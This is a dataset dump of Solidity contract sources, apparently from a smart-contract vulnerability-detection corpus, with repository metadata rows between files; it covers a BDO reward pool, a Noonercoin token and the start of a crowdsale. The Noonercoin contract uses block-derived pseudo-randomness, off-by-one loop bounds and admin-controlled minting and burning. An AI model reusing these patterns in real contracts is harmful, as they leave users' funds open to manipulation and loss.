return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Note that this pool has no minter key of BDO (rewards).
contract BdoRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. BDOs to distribute per block.
uint256 lastRewardBlock; // Last block number that BDOs distribution occurs.
uint256 accBdoPerShare; // Accumulated BDOs per share, times 1e18. See below.
bool isStarted; // if lastRewardBlock has passed
}
IERC20 public bdo = IERC20(0x190b589cf9Fb8DDEabBFeae36a813FFb2A702454);
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when BDO mining starts.
uint256 public startBlock;
uint256 public constant BLOCKS_PER_WEEK = 201600; // 86400 * 7 / 3;
uint256[] public epochTotalRewards = [80000 ether, 60000 ether, 40000 ether];
// Block number when each epoch ends.
uint256[3] public epochEndBlocks;
// Reward per block for each of 3 epochs (last item is equal to 0 - for sanity).
uint256[4] public epochBdoPerBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _bdo, uint256 _startBlock) public {
require(block.number < _startBlock, "late");
if (_bdo != address(0)) bdo = IERC20(_bdo);
startBlock = _startBlock; // supposed to be 3,410,000 (Fri Dec 25 2020 15:00:00 UTC)
epochEndBlocks[0] = startBlock + BLOCKS_PER_WEEK;
uint256 i;
for (i = 1; i <= 2; ++i) {
epochEndBlocks[i] = epochEndBlocks[i - 1] + BLOCKS_PER_WEEK;
}
for (i = 0; i <= 2; ++i) {
epochBdoPerBlock[i] = epochTotalRewards[i].div(BLOCKS_PER_WEEK);
}
epochBdoPerBlock[3] = 0;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "BdoRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _lpToken) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].lpToken != _lpToken, "BdoRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _lpToken,
bool _withUpdate,
uint256 _lastRewardBlock) public onlyOperator {
checkPoolDuplicate(_lpToken);
if (_withUpdate) {
massUpdatePools();
}
if (block.number < startBlock) {
// chef is sleeping
if (_lastRewardBlock == 0) {
_lastRewardBlock = startBlock;
} else {
if (_lastRewardBlock < startBlock) {
_lastRewardBlock = startBlock;
}
}
} else {
// chef is cooking
if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) {
_lastRewardBlock = block.number;
}
}
bool _isStarted = (_lastRewardBlock <= startBlock) || (_lastRewardBlock <= block.number);
poolInfo.push(PoolInfo({lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: _lastRewardBlock, accBdoPerShare: 0, isStarted: _isStarted}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's BDO allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _from, uint256 _to) public view returns (uint256) {
for (uint8 epochId = 3; epochId >= 1; --epochId) {
if (_to >= epochEndBlocks[epochId - 1]) {
if (_from >= epochEndBlocks[epochId - 1]) return _to.sub(_from).mul(epochBdoPerBlock[epochId]);
uint256 _generatedReward = _to.sub(epochEndBlocks[epochId - 1]).mul(epochBdoPerBlock[epochId]);
if (epochId == 1) return _generatedReward.add(epochEndBlocks[0].sub(_from).mul(epochBdoPerBlock[0]));
for (epochId = epochId - 1; epochId >= 1; --epochId) {
if (_from >= epochEndBlocks[epochId - 1]) return _generatedReward.add(epochEndBlocks[epochId].sub(_from).mul(epochBdoPerBlock[epochId]));
_generatedReward = _generatedReward.add(epochEndBlocks[epochId].sub(epochEndBlocks[epochId - 1]).mul(epochBdoPerBlock[epochId]));
}
return _generatedReward.add(epochEndBlocks[0].sub(_from).mul(epochBdoPerBlock[0]));
}
}
return _to.sub(_from).mul(epochBdoPerBlock[0]);
}
// View function to see pending BDOs on frontend.
function pendingBDO(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accBdoPerShare = pool.accBdoPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number);
uint256 _bdoReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accBdoPerShare = accBdoPerShare.add(_bdoReward.mul(1e18).div(lpSupply));
}
return user.amount.mul(accBdoPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number);
uint256 _bdoReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accBdoPerShare = pool.accBdoPerShare.add(_bdoReward.mul(1e18).div(lpSupply));
}
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accBdoPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeBdoTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.lpToken.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accBdoPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accBdoPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeBdoTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accBdoPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.lpToken.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
// Safe bdo transfer function, just in case if rounding error causes pool to not have enough BDOs.
function safeBdoTransfer(address _to, uint256 _amount) internal {
uint256 _bdoBal = bdo.balanceOf(address(this));
if (_bdoBal > 0) {
if (_amount > _bdoBal) {
bdo.safeTransfer(_to, _bdoBal);
} else {
bdo.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 amount,
address to) external onlyOperator {
if (block.number < epochEndBlocks[2] + BLOCKS_PER_WEEK * 26) {
// do not allow to drain lpToken if less than 6 months after farming
require(_token != bdo, "!bdo");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.lpToken, "!pool.lpToken");
}
}
_token.safeTransfer(to, amount);
}
}
| 253,221 | 12,708 |
f31d713ff2b5dfb609be692d0d8b9d764bb016c8e0f9483b25fbffab9b800091
| 18,562 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/07/07953B3242Ec3274242089e8C8CfdD3342fED709_Noonercoin.sol
| 4,613 | 17,264 |
pragma solidity ^0.5.0;
contract ERC20 {
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
}
contract Noonercoin is ERC20{
uint256 startTime;
uint256 mintingRateNoonerCoin;
uint256 mintingRateNoonerWei;
uint256 lastMintingTime;
address adminAddress;
bool isNewCycleStart = false;
uint8[] __randomVariable = [150, 175, 200, 225, 250];
uint8[] __remainingRandomVariable = [150, 175, 200, 225, 250];
uint8[] tempRemainingRandomVariable;
mapping (uint256 => uint256) occurenceOfRandomNumber;
uint256 weekStartTime = now;
mapping (address => uint256) noonercoin;
mapping (address => uint256) noonerwei;
uint256 totalWeiBurned = 0;
uint256 totalCycleLeft = 19;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimal;
uint256 private _frequency;
uint256 private _cycleTime = 86400; //given one day sec
uint256 private _fundersAmount;
uint256 _randomValue;
uint256 randomNumber;
int private count;
constructor(uint256 totalSupply_, string memory tokenName_, string memory tokenSymbol_,uint256 decimal_, uint256 mintingRateNoonerCoin_, uint256 frequency_, uint256 fundersAmount_) public ERC20("XDC","XDC"){
_totalSupply = totalSupply_;
_name = tokenName_;
_symbol = tokenSymbol_;
_decimal = decimal_;
mintingRateNoonerCoin = mintingRateNoonerCoin_;
_frequency = frequency_;
adminAddress = msg.sender;
_fundersAmount = fundersAmount_;
mintingRateNoonerWei = 0;
startTime = now;
noonercoin[adminAddress] = _fundersAmount;
}
function incrementCounter() public {
count += 1;
}
function _transfer(address recipient, uint256 amount) public {
address sender = msg.sender;
uint256 senderBalance = noonercoin[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
noonercoin[sender] = senderBalance - amount;
noonercoin[recipient] += amount;
}
function balanceOf(address account) public view returns (uint256) {
return noonercoin[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimal;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getStartTime() public view returns(uint256){
return startTime;
}
function mintToken(address add) public returns (bool) { //admin only
require(msg.sender == adminAddress, "Only owner can do this");
uint256 weiAfterMint = noonerwei[add] + mintingRateNoonerWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
uint256 nowTime = now;
if(nowTime-weekStartTime > 720){ // 720 secs = 12 min // 3600
popRandomVariable();
weekStartTime=now;//given now
}
//burn the tokens before minting
if(isNewCycleStart){
uint256 randomValue = randomVariablePicker();
if(randomValue != 150){
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
noonercoin[add] = noonercoin[add] + mintingRateNoonerCoin + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
lastMintingTime = now;
uint256 timeDiff = now - startTime; //unixtime - startTime = secs
uint256 fromTime = _cycleTime - _frequency; //72576000 // 86400 - 120 = 86280
if(timeDiff > fromTime){ //120weeks - 120seconds
if(timeDiff < _cycleTime){//120 weeks
_randomValue = randomVariablePicker();
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
//fetch random number from outside
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, _randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, _randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
}
}
return true;
}
function popRandomVariable() public returns(bool){
randomNumber = randomVariablePicker();
if(occurenceOfRandomNumber[randomNumber]>=24){
//remove variable
uint256 _index;
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
// for(uint256 index=0;index<__remainingRandomVariable.length-1;index++){
// tempRemainingRandomVariable[index]= __remainingRandomVariable[index];
// }
// __remainingRandomVariable = tempRemainingRandomVariable;
}
if(occurenceOfRandomNumber[randomNumber]<24){
occurenceOfRandomNumber[randomNumber] = occurenceOfRandomNumber[randomNumber]+1;
}
//2nd time calling randomNumber from randomVariablePicker
randomNumber = randomVariablePicker();
//2nd time occurenceOfRandomNumber >= 24
if(occurenceOfRandomNumber[randomNumber] >= 24) {
if(count < 4) {
incrementCounter();
uint256 _index;
//remove variable
for(uint256 index=0;index<=__remainingRandomVariable.length;index++){
if(__remainingRandomVariable[index]==randomNumber){
_index = index;
break;
}
}
delete __remainingRandomVariable[_index];
__remainingRandomVariable[_index] = __remainingRandomVariable[__remainingRandomVariable.length-1];
if(__remainingRandomVariable.length > 0) {
__remainingRandomVariable.length--;
}
}
}
return true;
}
function burnToken() internal returns(bool){
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
uint256 signmaValueCoin = 0;
uint256 signmaValueWei = 0;
for(uint256 index=1;index<=totalCycleLeft;index++){
uint256 intValue = getIntegerValue(flag * 720, 150**index, index);//720
uint256 intDecimalValue = getDecimalValue(flag * 720, 150**index, index);//720
signmaValueCoin = signmaValueCoin + intValue;
signmaValueWei = signmaValueWei + intDecimalValue;
}
signmaValueWei = signmaValueWei + signmaValueCoin * 10**18;
uint256 iterationsInOneCycle = _cycleTime/_frequency;//720
uint256 currentMintingRateTotalTokens = iterationsInOneCycle * mintingRateNoonerCoin * 10**18 + iterationsInOneCycle*mintingRateNoonerWei;
uint256 totalMintedTokens = (noonercoin[adminAddress]-_fundersAmount)*10**18 + noonerwei[adminAddress] + totalWeiBurned;
uint256 weiToBurned = _totalSupply*10**18 - signmaValueWei - totalMintedTokens - currentMintingRateTotalTokens - totalWeiBurned;
uint256 totalWeiInAdminAcc = (noonercoin[adminAddress]-_fundersAmount) * 10**18 + noonerwei[adminAddress];
if(totalWeiInAdminAcc <= weiToBurned) {//<=
return false;
}
if(totalWeiInAdminAcc > weiToBurned) {
uint256 remainingWei = totalWeiInAdminAcc - weiToBurned;
noonercoin[adminAddress] = remainingWei/10**18;
noonerwei[adminAddress] = remainingWei - (noonercoin[adminAddress] - _fundersAmount) * 10**18;
totalWeiBurned = totalWeiBurned + weiToBurned;
return true;
}
}
function getUserBalance(address add) public view returns (uint256){
return noonercoin[add];
}
function getAfterDecimalValue(address add) internal view returns (uint256){
return noonerwei[add];
}
function getIntegerValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 q){
//b is already multiplied by 100
q = a*100**expoHundred/b;
q=q/10**18;
return q;
}
function getDecimalValue(uint256 a, uint256 b, uint256 expoHundred) internal pure returns (uint256 p){
//b is already multiplied by 100
uint256 q = a*100**expoHundred/b;
q=q/10**18;
uint256 r = (a*100**expoHundred) - (b*10**18) * q;
p = r/b;
return p;
}
function randomVariablePicker() internal view returns (uint256) {
uint256 getRandomNumber = __remainingRandomVariable[
uint256(keccak256(abi.encodePacked(now, block.difficulty, msg.sender))) % __remainingRandomVariable.length];
return getRandomNumber;
}
//for error handing in scheduler
function mintTokenAsPerCurrentRate(address add, uint256 missedToken, uint256 missedWei) public returns (bool) {
require(msg.sender == adminAddress, "Only owner can do this");
uint256 randomValue = randomVariablePicker();
if(randomValue != 150){
if(isNewCycleStart){
if(randomValue==175 && totalCycleLeft == 18) {
isNewCycleStart = false;
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
uint256 weiAfterMint = noonerwei[add] + missedWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
noonercoin[add] = noonercoin[add] + missedToken + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
return true;
}
function changeConfigVariable() public returns (bool){
require(msg.sender == adminAddress, "Only owner can do this");
uint256 randomValue = randomVariablePicker();
isNewCycleStart = true;
totalCycleLeft = totalCycleLeft - 1;
uint256 flag = mintingRateNoonerCoin * 10**18 + mintingRateNoonerWei;
mintingRateNoonerCoin = getIntegerValue(flag, randomValue, 1);
mintingRateNoonerWei = getDecimalValue(flag, randomValue, 1);
startTime = startTime + _cycleTime;
//reset random variable logic, occurenceOfRandomNumber for each cycle
__remainingRandomVariable = __randomVariable;
delete tempRemainingRandomVariable;
delete occurenceOfRandomNumber[__randomVariable[0]];
delete occurenceOfRandomNumber[__randomVariable[1]];
delete occurenceOfRandomNumber[__randomVariable[2]];
delete occurenceOfRandomNumber[__randomVariable[3]];
delete occurenceOfRandomNumber[__randomVariable[4]];
return true;
}
function getLastMintingTime() public view returns (uint256){
// require(msg.sender != adminAddress);
return lastMintingTime;
}
function getLastMintingRate() public view returns (uint256){
return mintingRateNoonerCoin;
}
function getLastMintingTimeAndStartTimeDifference() public view returns (uint256) {
uint256 lastMintingTimeAndStartTimeDifference = lastMintingTime - startTime;
return lastMintingTimeAndStartTimeDifference;
}
function getCurrentTimeAndStartTimeDifference() public view returns (uint256) {
uint256 currentTimeAndStartTimeDifference = now - startTime;
return currentTimeAndStartTimeDifference;
}
function checkFailedTransactions(address add) public view returns (uint256) {
uint256 adminBalance = noonercoin[add]; //admin balance
uint256 currMintingRate = getLastMintingRate();
uint256 timeDifference = lastMintingTime - startTime; //checking time from start time to current time and changing to hrs format.
uint256 valueForEach = timeDifference/_frequency; // we will get 1,2,3....
uint256 estimatedMintedToken = _fundersAmount + valueForEach * currMintingRate;// gets the total coins for that total hours
uint256 checkDifference;
if(adminBalance > estimatedMintedToken) {
checkDifference = 0;
}
else {
checkDifference = estimatedMintedToken - adminBalance;
}
uint256 missedTokens = checkDifference / mintingRateNoonerCoin; //finding missing tokens.
return missedTokens;
}
function checkMissingTokens(address add) public view returns (uint256, uint256) {
uint256 adminBalance = noonercoin[add]; //admin bal
uint256 adminBalanceinWei = noonerwei[add]; //admin bal wei
if (lastMintingTime == 0) {
return (0,0);
}
if (lastMintingTime != 0) {
uint256 timeDifference = lastMintingTime - startTime; //checking time from start time to current time and changing to hrs format.
uint256 valueForEach = timeDifference/_frequency; // we will get 1,2,3....
uint256 estimatedMintedToken = _fundersAmount + valueForEach * mintingRateNoonerCoin;// gets the total coins for that total hours
uint256 estimatedMintedTokenWei = valueForEach * mintingRateNoonerWei;
uint256 temp = estimatedMintedTokenWei / 10**18;
estimatedMintedTokenWei -= temp;
estimatedMintedToken += temp;
uint256 checkDifferenceWei;
if(adminBalanceinWei > estimatedMintedTokenWei) {
checkDifferenceWei = 0;
}
else {
checkDifferenceWei = estimatedMintedTokenWei - adminBalanceinWei;
}
uint256 checkDifference;
if (adminBalance > estimatedMintedToken) {
checkDifference = 0;
}
else{
checkDifference = estimatedMintedToken - adminBalance;
}
return (checkDifference, checkDifferenceWei);
}
}
function currentMintRate() public view returns (uint256){
uint256 currMintingRate = getLastMintingRate();
return currMintingRate;
}
function currentDenominatorAndRemainingRandomVariables() public view returns(uint256, uint8[] memory) {
return (_randomValue, __remainingRandomVariable);
}
function getOccurenceOfRandomNumber() public view returns(uint256, uint256, uint256, uint256, uint256, uint256){
return (randomNumber, occurenceOfRandomNumber[__randomVariable[0]],occurenceOfRandomNumber[__randomVariable[1]],occurenceOfRandomNumber[__randomVariable[2]],occurenceOfRandomNumber[__randomVariable[3]], occurenceOfRandomNumber[__randomVariable[4]]);
}
function getOccurenceOfPreferredRandomNumber(uint256 number) public view returns(uint256){
return occurenceOfRandomNumber[number];
}
function getTotalPresentOcuurences() public view returns(uint256){
uint256 total = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
return total;
}
function checkMissingPops() public view returns(uint256){
uint256 totalPresentOcurrences = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
if (lastMintingTime == 0) {
return (0);
}
if(lastMintingTime != 0) {
uint256 timeDifference = lastMintingTime - startTime - _frequency;
uint256 estimatedPicks = timeDifference / 720;
uint256 checkDifferencePop;
if(totalPresentOcurrences > estimatedPicks) {
checkDifferencePop = 0;
}else {
checkDifferencePop = estimatedPicks - totalPresentOcurrences;
}
return checkDifferencePop;
}
}
}
| 107,715 | 12,709 |
49db87ac84a70fe4f7b5e6ab318db61351715cbd0676b45bed9f065877a53918
| 35,766 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs-wild-clean-contracts/0x69e13a17e5cb5377b924cd84a1a57365117b690b.sol
| 5,594 | 20,408 |
pragma solidity 0.4.24;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
library SafeERC20 {
function safeTransfer(ERC20Basic _token,
address _to,
uint256 _value)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(ERC20 _token,
address _from,
address _to,
uint256 _value)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(ERC20 _token,
address _spender,
uint256 _value)
internal
{
require(_token.approve(_spender, _value));
}
}
// File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
